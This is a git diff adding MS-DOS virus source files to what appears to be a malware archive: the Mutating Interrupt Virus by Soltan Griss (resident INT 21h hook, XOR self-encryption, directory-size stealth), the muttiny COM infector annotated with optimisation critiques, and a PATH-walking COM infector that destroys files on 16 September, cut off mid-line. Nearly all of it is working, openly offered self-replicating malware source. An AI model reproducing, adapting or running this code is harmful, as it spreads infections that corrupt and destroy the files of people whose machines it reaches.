cs:seg_a,ds:seg_a,es:nothing + + org 100h +start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string + + +vstart equ $ +key: dw 0 ;encryptor key. +i_key: dw 12cdh ;Interrupt key + call code_start + + +code_start: + pop si + sub si,offset code_start ;get current infected files size + mov bp,si + + +crypter: + mov cx,(vend-check) + mov dh,byte ptr cs:[key+bp] + mov si,offset check + add si,bp +loo: mov ah,byte ptr cs:[si] ;Decrypt the virus + xor ah,dh + mov byte ptr cs:[si],ah + inc si + loop loo + +code: + + mov si,offset check + mov di,offset check + mov cx,(vend-check) +looper: mov ax,[si] + cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back + je change +doit: mov [di],ax + inc si + inc di + loop looper + jmp check +change: mov ax,21cdh + jmp doit + +check: + mov ax,0F242h ;Check to see if we are already + int 12h + cmp bx,0F242h ;resident + je Already_here + +info: db 0 +load: ;Virus Id string so they NAME it + ; RIGHT!!!! + push cs + pop ds + + + mov ah,49h ;Release current Memory block + int 12h + + + mov ah,48h ;Request Hugh size of memory + mov bx,0ffffh ;returns biggest size + int 12h + + + + mov ah,4ah + sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1 + jc exit ;subtract virus size + int 12h + + + mov ah,48h + mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16 + int 12h + jc exit ;request last XXX pages + ;allocate it to virus + + dec ax + + push es + + mov es,ax + + mov byte ptr es:[0],'Z' ;make DOS the owner + mov word ptr es:[1],8 + mov word ptr es:[3],(vend-vstart+15)/8 ;put size here + sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current + ;memory + inc ax + + + lea si,[bp+offset vstart] ;copy it to new memory block + xor di,di + mov es,ax + mov cx,(vend-vstart+5)/2 + cld + rep movsw + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[21h*4] ;swap vectors manually + mov word ptr es:[old_21-vstart],ax + mov word ptr es:[old_21-vstart+2],ds + pop ds + mov word ptr ds:[21h*4],(new_21-vstart) + mov ds:[21h*4+2],es + +exit: +already_here: + push cs + pop ds + push cs + pop es + mov si,offset buffer ;Copy five bytes back! + add si,Bp + mov di,100h + movsw + movsw + movsb + mov bp,100h + jmp bp + + + +;*************************************************************************** + +old_21: dw 0h,0h +buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected +old_date: dw 0 ;files 5 bytes +old_time: dw 0 +jump_add: db 0E9h + db 0,0 + db 0F2h,42h + +new_21: + cmp ax,0f242h ;Are we going resident? + je SAY_YES + cmp ax,4b00h ;Are we executing? + je exec + cmp ah,11h + je hide_size ;doing a DIR?? + cmp ah,12h + je hide_size + jmp do_old +exec: jmp exec2 +SAY_YES:mov bx,0f242h +do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21 + ret + +hide_size: + pushf + push cs + call do_old ;get the current FCB + cmp al,00h + jnz dir_error ;jump if bad FCB + + push ax + push bx + push dx + push ds + push es ;undocumented get FCB + mov ah,51h ;location + int 12h + mov es,bx ;get info from FCB + cmp bx,es:[16h] + jnz not_inf + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;get DTA + int 12h + pop ax + inc al ;Check for extended FCB + jnz normal_fcb + add bx,7h +normal_fcb: + mov ax,es:[bx+17h] + and ax,1fh + xor al,01h ;check for 2 seconds + jnz not_inf + + and byte ptr es:[bx+17h],0e0h ;subtract virus size + sub es:[bx+1dh],(vend-vstart) + sbb es:[bx+1fh],ax +not_inf:pop es + pop ds + pop dx + pop bx + pop ax +dir_error: + iret + +exec2: push ax + push bx + push cx + push dx + push ds + push es + + call infect ;Lets infect the file!! + +backup: pop es + pop ds + pop dx + pop cx + pop bx + pop ax + + jmp do_old ;go back to original load + + +infect: + mov ax,3d02h + int 12h + jc quit1 ;open the file + + + mov bx,ax + +A_open: push cs + pop ds + + mov ax,4200h + xor cx,cx + xor dx,dx ;move file pointer to begining + int 12h ;(FOR LATER MODIFICATION ONLY) + + + mov ah,3fh + mov cx,5h + mov dx,(buffer-vstart) ;load in the first 5 bytes + int 12h + jc quit1 + + cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an + je quit1 ;EXE + + cmp word ptr cs:[(buffer-vstart)+3],42F2h + je quit1 + ;if so then its infected + + + jmp qqqq + +quit1: jmp quit2 + + +qqqq: mov ax,5700h + int 12h + jc quit1 + + mov word ptr cs:[(old_time-vstart)],cx ;get the files time + mov word ptr cs:[(old_date-vstart)],dx ;and date + + mov ax,4202h + xor cx,cx + xor dx,dx ;put file pointer at end + int 12h + jc quit1 + + + + mov cx,ax + sub cx,3 ;write jump lenght to jump buffer + add cx,4 + mov word ptr cs:[(jump_add+1-vstart)],cx + + + + mov ah,2ch ;get random number for interrupt + int 12h ;swapping + cmp dh,03h ;don't like INT 3'S (1 byte only not 2) + jne write_key + inc dh + + +write_key: + + mov word ptr cs:[key-vstart],cx ;save encryption key + mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key + + mov si,(check-vstart) ;write from check to end + mov di,(vend-vstart) + mov cx,(vend-check) + +topper: mov al,byte ptr cs:[(si)] + cmp al,0cdh + je changeit +top2: mov byte ptr cs:[(di)],al +tor: inc si ;this "mutating routine" is kind + inc di ;messy but i'll improve it for version + loop topper ;2.0 + jmp crypt +changeit: + mov byte ptr cs:[(di)],al + inc di + inc si + dec cx + mov al,byte ptr cs:[(si)] + cmp al,21h + jne top2 + mov byte ptr cs:[(di)],dh + jmp tor + +quit: jmp quit2 + + +crypt: + + + + mov cx,(vend-check) + mov dh,byte ptr cs:[key-vstart] + mov si,(vend-vstart) +lop: mov ah,byte ptr cs:[si] + xor ah,dh ;Encrypt the code + mov byte ptr cs:[si],ah + inc si + loop lop + + + mov cx,(check-vstart) + mov ah,40h ;write decrypting routine + mov dx,(vstart-vstart) ;to file first + int 12h + jc quit + + + mov cx,(vend-check) ;write the encrypted code + mov ah,40h ; to the end of the file + mov dx,(vend-vstart) + int 12h + jc quit + + + mov ax,4200h ;move file pointer to the + xor cx,cx ;begining to write the JMP + xor dx,dx + int 12h + + + mov cx,5 + mov ah,40h ;write the JMP top the file + mov dx,(jump_add-vstart) + int 12h + + jc quit + + mov ax,5701h + mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date + mov word ptr dx,cs:[(old_date-vstart)] + + and cl,0e0H + inc cl ;change seconds to 2 + int 12h + + + mov ah,3eh + int 12h + + +quit2: ret + + +vend equ $ + nop + nop + +seg_a ends + end start + + +;WELL THATS IT. +If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA) diff --git a/MSDOS/Virus.MSDOS.Unknown.mutint.asm b/MSDOS/Virus.MSDOS.Unknown.mutint.asm new file mode 100644 index 00000000..f57f6e38 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mutint.asm @@ -0,0 +1,416 @@ +;**************************************************************************** +;* The Mutating Interrupt Virus -Soltan Griss- +;* [RABID] -=+ Front 242 +=- +;* +;* +;* Well this is my Third Release of many to come. This virus uses the latest +;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing +;* to special) is Mutate all int 21h (CD 21) to a random interrupt. +;* Then before executation it will change it back to INT 21. +;* +;* Alot of people are wondering if RABID is Still around. YES. Wea reback and +;* Kicking, although right now we have limited members, it soon will change. +;* +;* +;* Many Thanks go out to Data Disruptor, who originally came up with the +;* interrupt swapping idea. +;* +;* +;* SOON TO COME: Why use conventional memory when do has left so many holes?? +;* Find out soon in one of our next RELEASES. +;* +;* A Real Mutating virus with moveable modular segments!!! +;* +;* +;* +;* A Word of thanks go out to. +;* +;* YAM- Keep up the hard work. Alot of improvement come with time. +;* Admiral Bailey. Waitinf for the next version of the IVP! +;* +;* +;**************************************************************************** + + + +seg_a segment + assume cs:seg_a,ds:seg_a,es:nothing + + org 100h +start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string + + +vstart equ $ +key: dw 0 ;encryptor key. +i_key: dw 12cdh ;Interrupt key + call code_start + + +code_start: + pop si + sub si,offset code_start ;get current infected files size + mov bp,si + + +crypter: + mov cx,(vend-check) + mov dh,byte ptr cs:[key+bp] + mov si,offset check + add si,bp +loo: mov ah,byte ptr cs:[si] ;Decrypt the virus + xor ah,dh + mov byte ptr cs:[si],ah + inc si + loop loo + +code: + + mov si,offset check + mov di,offset check + mov cx,(vend-check) +looper: mov ax,[si] + cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back + je change +doit: mov [di],ax + inc si + inc di + loop looper + jmp check +change: mov ax,21cdh + jmp doit + +info: db 'The Mutating Interrupt Virus ' + db 'RABID`S Back and Kicking in `93 -Soltan Griss-' + +check: + mov ax,0F242h ;Check to see if we are already + int 12h + cmp bx,0F242h ;resident + je Already_here +load: ;Virus Id string so they NAME it + ; RIGHT!!!! + push cs + pop ds + + + mov ah,49h ;Release current Memory block + int 12h + + + mov ah,48h ;Request Hugh size of memory + mov bx,0ffffh ;returns biggest size + int 12h + + + + mov ah,4ah + sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1 + jc exit ;subtract virus size + int 12h + + + mov ah,48h + mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16 + int 12h + jc exit ;request last XXX pages + ;allocate it to virus + + dec ax + + push es + + mov es,ax + + mov byte ptr es:[0],'Z' ;make DOS the owner + mov word ptr es:[1],8 + mov word ptr es:[3],(vend-vstart+15)/8 ;put size here + sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current + ;memory + inc ax + + + lea si,[bp+offset vstart] ;copy it to new memory block + xor di,di + mov es,ax + mov cx,(vend-vstart+5)/2 + cld + rep movsw + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[21h*4] ;swap vectors manually + mov word ptr es:[old_21-vstart],ax + mov word ptr es:[old_21-vstart+2],ds + pop ds + mov word ptr ds:[21h*4],(new_21-vstart) + mov ds:[21h*4+2],es + +exit: +already_here: + push cs + pop ds + push cs + pop es + mov si,offset buffer ;Copy five bytes back! + add si,Bp + mov di,100h + movsw + movsw + movsb + mov bp,100h + jmp bp + + + +;*************************************************************************** + +old_21: dw 0h,0h +buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected +old_date: dw 0 ;files 5 bytes +old_time: dw 0 +jump_add: db 0E9h + db 0,0 + db 0F2h,42h + +new_21: + cmp ax,0f242h ;Are we going resident? + je SAY_YES + cmp ax,4b00h ;Are we executing? + je exec + cmp ah,11h + je hide_size ;doing a DIR?? + cmp ah,12h + je hide_size + jmp do_old +exec: jmp exec2 +SAY_YES:mov bx,0f242h +do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21 + ret + +hide_size: + pushf + push cs + call do_old ;get the current FCB + cmp al,00h + jnz dir_error ;jump if bad FCB + + push ax + push bx + push dx + push ds + push es ;undocumented get FCB + mov ah,51h ;location + int 12h + mov es,bx ;get info from FCB + cmp bx,es:[16h] + jnz not_inf + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;get DTA + int 12h + pop ax + inc al ;Check for extended FCB + jnz normal_fcb + add bx,7h +normal_fcb: + mov ax,es:[bx+17h] + and ax,1fh + xor al,01h ;check for 2 seconds + jnz not_inf + + and byte ptr es:[bx+17h],0e0h ;subtract virus size + sub es:[bx+1dh],(vend-vstart) + sbb es:[bx+1fh],ax +not_inf:pop es + pop ds + pop dx + pop bx + pop ax +dir_error: + iret + +exec2: push ax + push bx + push cx + push dx + push ds + push es + + call infect ;Lets infect the file!! + +backup: pop es + pop ds + pop dx + pop cx + pop bx + pop ax + + jmp do_old ;go back to original load + + +infect: + mov ax,3d02h + int 12h + jc quit1 ;open the file + + + mov bx,ax + +A_open: push cs + pop ds + + mov ax,4200h + xor cx,cx + xor dx,dx ;move file pointer to begining + int 12h ;(FOR LATER MODIFICATION ONLY) + + + mov ah,3fh + mov cx,5h + mov dx,(buffer-vstart) ;load in the first 5 bytes + int 12h + jc quit1 + + cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an + je quit1 ;EXE + + cmp word ptr cs:[(buffer-vstart)+3],42F2h + je quit1 + ;if so then its infected + + + jmp qqqq + +quit1: jmp quit2 + + +qqqq: mov ax,5700h + int 12h + jc quit1 + + mov word ptr cs:[(old_time-vstart)],cx ;get the files time + mov word ptr cs:[(old_date-vstart)],dx ;and date + + mov ax,4202h + xor cx,cx + xor dx,dx ;put file pointer at end + int 12h + jc quit1 + + + + mov cx,ax + sub cx,3 ;write jump lenght to jump buffer + add cx,4 + mov word ptr cs:[(jump_add+1-vstart)],cx + + + + mov ah,2ch ;get random number for interrupt + int 12h ;swapping + cmp dh,03h ;don't like INT 3'S (1 byte only not 2) + jne write_key + inc dh + + +write_key: + + mov word ptr cs:[key-vstart],cx ;save encryption key + mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key + + mov si,(check-vstart) ;write from check to end + mov di,(vend-vstart) + mov cx,(vend-check) + +topper: mov al,byte ptr cs:[(si)] + cmp al,0cdh + je changeit +top2: mov byte ptr cs:[(di)],al +tor: inc si ;this "mutating routine" is kind + inc di ;messy but i'll improve it for version + loop topper ;2.0 + jmp crypt +changeit: + mov byte ptr cs:[(di)],al + inc di + inc si + dec cx + mov al,byte ptr cs:[(si)] + cmp al,21h + jne top2 + mov byte ptr cs:[(di)],dh + jmp tor + +quit: jmp quit2 + + +crypt: + + + + mov cx,(vend-check) + mov dh,byte ptr cs:[key-vstart] + mov si,(vend-vstart) +lop: mov ah,byte ptr cs:[si] + xor ah,dh ;Encrypt the code + mov byte ptr cs:[si],ah + inc si + loop lop + + + mov cx,(check-vstart) + mov ah,40h ;write decrypting routine + mov dx,(vstart-vstart) ;to file first + int 12h + jc quit + + + mov cx,(vend-check) ;write the encrypted code + mov ah,40h ; to the end of the file + mov dx,(vend-vstart) + int 12h + jc quit + + + mov ax,4200h ;move file pointer to the + xor cx,cx ;begining to write the JMP + xor dx,dx + int 12h + + + mov cx,5 + mov ah,40h ;write the JMP top the file + mov dx,(jump_add-vstart) + int 12h + + jc quit + + mov ax,5701h + mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date + mov word ptr dx,cs:[(old_date-vstart)] + + and cl,0e0H + inc cl ;change seconds to 2 + int 12h + + + mov ah,3eh + int 12h + + +quit2: ret + + +vend equ $ + nop + nop + +seg_a ends + end start + + +;WELL THATS IT. +If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA) diff --git a/MSDOS/Virus.MSDOS.Unknown.muttiny.asm b/MSDOS/Virus.MSDOS.Unknown.muttiny.asm new file mode 100644 index 00000000..0d89b802 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.muttiny.asm @@ -0,0 +1,251 @@ +muttiny segment byte public + assume cs:muttiny, ds:muttiny + + org 100h + +start: db 0e9h, 5, 0 ; jmp startvir +restorehere: int 20h +idword: dw 990h +; The next line is incredibly pointless. It is a holdover from one +; of the original TINYs, where the id was 7, 8, 9. The author can +; easily save one byte merely by deleting this line. + db 09h +startvir: + call oldtrick ; Standard location-finder +oldtrick: pop si +; The following statement is a bug -- well, not really a bug, just +; extraneous code. The value pushed on the stack in the following +; line is NEVER popped off. This is messy programming, as one byte +; could be saved by removing the statement. + push si + sub si,offset oldtrick + call encrypt ; Decrypt virus + call savepsp ; and save the PSP +; NOTE: The entire savepsp/restorepsp procedures are unnecessary. +; See the procedures at the end for further details. + jmp short findencryptval ; Go to the rest of the virus +; The next line is another example of messy programming -- it is a +; NOP inserted by MASM during assembly. Running this file through +; TASM with the /m2 switch should eliminate such "fix-ups." + nop +; The next line leaves me guessing as to the author's true intent. + db 0 + +encryptval dw 0h + +encrypt: + push bx ; Save handle +; The following two lines of code could be condensed into one: +; lea bx, [si+offset startencrypt] +; Once again, poor programming style, though there's nothing wrong +; with the code. + mov bx,offset startencrypt + add bx,si +; Continueencrypt is implemented as a jmp-type loop. Although it's +; fine to code it this way, it's probably easier to code using the +; loop statement. Upon close inspection, one finds the loop to be +; flawed. Note the single inc bx statement. This essentially makes +; the encryption value a a byte instead of a word, which decreases +; the number of mutations from 65,535 to 255. Once again, this is +; just poor programming, very easily rectified with another inc bx +; statement. Another optimization could be made. Use a +; mov dx, [si+encryptval] +; to load up the encryption value before the loop, and replace the +; three lines following continueencrypt with a simple: +; xor word ptr [bx], dx +continueencrypt: + mov ax,[bx] + xor ax,word ptr [si+encryptval] + mov [bx],ax + inc bx +; The next two lines should be executed BEFORE continueencrypt. As +; it stands right now, they are recalculated every iteration which +; slows down execution somewhat. Furthermore, the value calculated +; is much too large and this increases execution time. Yet another +; improvement would be the merging of the mov/add pair to the much +; cleaner lea cx, [si+offset endvirus]. + mov cx,offset veryend ; Calculate end of + add cx,si ; encryption: Note + cmp bx,cx ; the value is 246 + jle continueencrypt ; bytes too large. + pop bx + ret +writerest: ; Tack on the virus to the + call encrypt ; end of the file. + mov ah,40h + mov cx,offset endvirus - offset idword + lea dx,[si+offset idword] ; Write starting from the id + int 21h ; word + call encrypt + ret + +startencrypt: +; This is where the encrypted area begins. This could be moved to +; where the ret is in procedure writerest, but it is not necessary +; since it won't affect the "scannability" of the virus. + +findencryptval: + mov ah,2Ch ; Get random # + int 21h ; CX=hr/min dx=sec +; The following chunk of code puzzles me. I admit it, I am totally +; lost as to its purpose. + cmp word ptr [si+offset encryptval],0 + je step_two + cmp word ptr [si+offset encryptval+1],0 + je step_two + cmp dh,0Fh + jle foundencryptionvalue +step_two: ; Check to see if any + cmp dl,0 ; part of the encryption + je findencryptval ; value is 0 and if so, + cmp dh,0 ; find another value. + je findencryptval + mov [si+offset encryptval],dx +foundencryptionvalue: + mov bp,[si+offset oldjmp] ; Set up bp for + add bp,103h ; jmp later + lea dx,[si+filemask] ; '*.COM',0 + xor cx,cx ; Attributes + mov ah,4Eh ; Find first +tryanother: + int 21h + jc quit_virus ; If none found, exit + + mov ax,3D02h ; Open read/write + mov dx,9Eh ; In default DTA + int 21h + + mov cx,3 + mov bx,ax ; Swap file handle register + lea dx,[si+offset buffer] + mov di,dx + call read ; Read 3 bytes + cmp byte ptr [di],0E9h ; Is it a jmp? + je infect +findnext: + mov ah,4Fh ; If not, find next + jmp short tryanother +infect: + mov ax,4200h ; Move file pointer + mov dx,[di+1] ; to jmp location + mov [si+offset oldjmp],dx ; and save old jmp + xor cx,cx ; location + call int21h + jmp short skipcheckinf +; Once again, we meet an infamous MASM-NOP. + nop +; I don't understand why checkinf is implemented as a procedure as +; it is executed but once. It is a waste of code space to do such +; a thing. The ret and call are both extra, wasting four bytes. An +; additional three bytes were wasted on the JMP skipping checkinf. +; In a program called "Tiny," a wasted seven bytes is rather large +; and should not exist. I have written a virus of half the length +; of this virus which is a generic COM infector. There is just too +; too much waste in this program. +checkinf: + cmp word ptr [di],990h ; Is it already + je findnext ; infected? +; The je statement above presents another problem. It leaves stuff +; on the stack from the call. This is, once again, not a critical +; error but nevertheless it is extremely sloppy behavior. + xor dx,dx + xor cx,cx + mov ax,4202h + call int21h ; Goto end of file + ret +skipcheckinf: + mov cx,2 + mov dx,di + call read ; read 2 bytes + call checkinf +; The next check is extraneous. No COM file is larger than 65,535 +; bytes before infection simply because it is "illegal." Yet ano- +; ther waste of code. Even if one were to use this useless check, +; it should be implemented, to save space, as or dx, dx. + cmp dx,0 ; Check if too big + jne findnext + + cmp ah,0FEh ; Check again if too big + jae findnext + mov [si+storejmp],ax ; Save new jmp + call writerest ; location + mov ax,4200h ; Go to offset + mov dx,1 ; 1 in the file + xor cx,cx + call int21h + + mov ah,40h ; and write the new + mov cx,2 ; jmp location + lea dx,[si+storejmp] + call int21h +; I think it is quite obvious that the next line is pointless. It +; is a truly moronic waste of two bytes. + jc closefile +closefile: + mov ah,3Eh ; Close the file + call int21h +quit_virus: + call restorepsp + jmp bp + +read: + mov ah,3Fh ; Read file +; I do not understand why all the int 21h calls are done with this +; procedure. It is a waste of space. A normal int 21h call is two +; bytes long while it's three bytes just to call this procedure! +int21h: + int 21h + ret + + db 'Made in England' + +; Note: The comments for savepsp also apply to restorepsp. + +; This code could have easily been changed to a set active DTA INT +; 21h call (AH = 1Ah). It would have saved many, many bytes. + +savepsp: + mov di,0 +; The following is a bug. It should be +; mov cx, 50h +; since the author decided to use words instead of bytes. + mov cx,100h + push si +; The loop below is dumb. A simple rep movsw statement would have +; sufficed. Instead, countless bytes are wasted on the loop. +storebytes: + mov ax,[di] + mov word ptr [si+pspstore],ax + add si,2 + add di,2 + loop storebytes + pop si + ret + +restorepsp: + mov di,0 + mov cx,100h ; Restore 200h bytes + push si +restorebytes: + mov ax,word ptr [si+pspstore] + mov [di],ax + add si,2 + add di,2 + loop restorebytes + pop si + ret + +oldjmp dw 0 +filemask db '*.COM',0 +idontknow1 db 66h ; Waste of one byte +buffer db 00h, 00h, 01h ; Waste of three bytes +storejmp dw 0 ; Waste of two bytes +; endvirus should be before idontknow1, thereby saving six bytes. +endvirus: +idontknow2 db ?, ? +pspstore db 200 dup (?) ; Should actually be +idontknow3 db 2ch dup (?) ; 100h bytes long. +veryend: ; End of encryption +muttiny ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.my_vir.asm b/MSDOS/Virus.MSDOS.Unknown.my_vir.asm new file mode 100644 index 00000000..a676eea7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.my_vir.asm @@ -0,0 +1,402 @@ +; this code ataches to all .com files in the current dir then the path then +; the root dir then on 9-16 it does things to the same files. +; it set's them to 10:00am 9-16-91 and set's the file size to +; how many years since that date basically your harmless little +; iritating virus mostly getting at the little utilites in the path.. +; and eventually command.com based originally on violator strain b +; ( which is a nasty one formats randomly) it has no name +; name it what you will... + +; change fspec_ to '*.COM' to make it work.. set in test mode right now.. + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + NOP + MOV SI,DX ; setup the data to write out + ADD SI,first_3 + MOV CX,4 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + + PUSH ES + MOV AH,2FH ; get DTA + INT 21H ; save old dta + NOP + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta ; DX = our DTA + ADD DX,SI + MOV AH,1AH ;set DTA address + INT 21H + NOP + PUSH ES + PUSH SI + MOV ES,DS:2CH + XOR DI,DI ; zero DI + + MOV AH,2AH ;Get date info + INT 21h ;Call DOS + CMP DH,9 ;Check to see if it is the right month + NOP + JE day_check ;If equal, check day + JMP find_Path ;if not, go on with infection + +day_check: + CMP DL,16 ;Check to see if today is the day + JE Set_Delete ;If yes, then check day of week + JMP find_Path ;If not, then go on with infection + +Set_Delete: + SUB CX,7C7H ; figure file size + MOV [SI+B_day],CX + + MOV AL,1 + MOV [SI+del_f],AL ; set del flag + +find_path: + + POP SI + PUSH SI ;clear SI + ADD SI,env_str ; env string in SI + NOP + LODSB ; load byte into AL + MOV CX,OFFSET 8000H + REPNZ SCASB ; do this 128 or 32768 skip 128? + + MOV CX,4 + +check_next_4: ; load byte into AL + LODSB ; four times + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + NOP + MOV SI,BX + MOV AH,4EH ; find first again? + MOV DX,wrk_spc ; file name + ADD DX,SI ; DX is ... THE VICTIM!!! + MOV CX,3 ; Attributes of Read Only or Hidden OK + INT 21H + NOP + JMP SHORT find_first + +find_next: + MOV AH,4FH ; find next file + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + NOP + JZ check_day + JMP go_on +check_day: + XOR AL,AL + CMP AL,[SI+del_f] + JE find_next +go_on: + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;to big 64k? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;too small 10bytes? + JB find_next ;Then go find another one + NOP + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H ;get file attr + MOV DX,wrk_spc + ADD DX,SI + INT 21H + NOP + MOV [SI+old_attr],CX ; save file attr + MOV AX,OFFSET 4301H ; set file attr + AND CX,OFFSET 0FFFEH ; set file attr to 11111110B +; MOV DX,wrk_spc +; ADD DX,SI + INT 21H + +check_delete: + XOR AL,AL + CMP AL,[SI+del_f] + JE open + +create: + MOV AX,OFFSET 3C00H ;create nornal file +; MOV DX,wrk_spc ; +; ADD DX,SI ; + INT 21H + NOP + + MOV BX,AX + + MOV CX,[SI+b_day] + MOV AH,40H + INT 21H + NOP + + MOV AX,OFFSET 5701H ;Set Date Time + MOV CX,05000H ;Time 10:00am + + MOV DX,01730H ;Date 9-16-91 + INT 21H + NOP + + JMP Fix_attr + +open: + MOV AX,OFFSET 3D02H ; open read/write +; MOV DX,wrk_spc ; +; ADD DX,SI ; + INT 21H + JNB Get_td + JMP fix_attr + +Get_td: + MOV BX,AX ; AX is the file handle + MOV AX,OFFSET 5700H ;get date time + INT 21H + NOP + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date +; MOV AH,2CH ; get system time? +; INT 21H +; AND DH,7 + + XOR AL,AL ; should i infect or just get out + CMP AL,[SI+del_f] + JE infect + jmp fix_attr + + +infect: + + MOV AH,3FH ; read file + MOV CX,3 ; three chars + MOV DX,first_3 ; put those three on first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + NOP + + JB fix_time_stamp ; can't read go here + CMP AX,3 ;is ax 3? + JNZ fix_time_stamp ;if three wern't read go here + MOV AX,OFFSET 4202H ; move file pointer offset from end + XOR CX,CX ; 0 chars + XOR DX,DX ; data buffer + INT 21H ; read file + JB fix_time_stamp ; can't read go here + MOV CX,AX ; mov the error code into CX + SUB AX,3 ; subtract ax from 3? + MOV [SI+jmp_dsp],AX ; 0 + ADD CX,OFFSET c_len_y ; 100H more that codelen + MOV DI,SI + SUB DI,OFFSET c_len_x ; two less that codelen + + MOV [DI],CX + MOV AH,40H ;Write file + MOV CX,virlen + + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H ;Write file + JB fix_time_stamp + CMP AX,OFFSET virlen + NOP + JNZ fix_time_stamp + MOV AX,OFFSET 4200H ;move file poniter to begin + XOR CX,CX + XOR DX,DX + INT 21H ;Write file + JB fix_time_stamp + MOV AH,40H ;Write file + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op ; write jmp to us at beginging + INT 21H ;Write file + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H ; mask hours and mins? + OR CX,1EH ; 60 seconds + MOV AX,OFFSET 5701H ;set date time + INT 21H + MOV AH,3EH ; close file + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H ;set file attr + MOV CX,[SI+old_attr] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + + PUSH DS + MOV AH,1AH ; set DTA address + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +oldate_ DW 0 +oldattr_ DW 0 +first3_ EQU $ + NOP + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.$@$',0 ; change to *.COM to make it work +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +delf_ DB 0 +BDay_ DB 0 +lst_byt EQU $ +virlen = 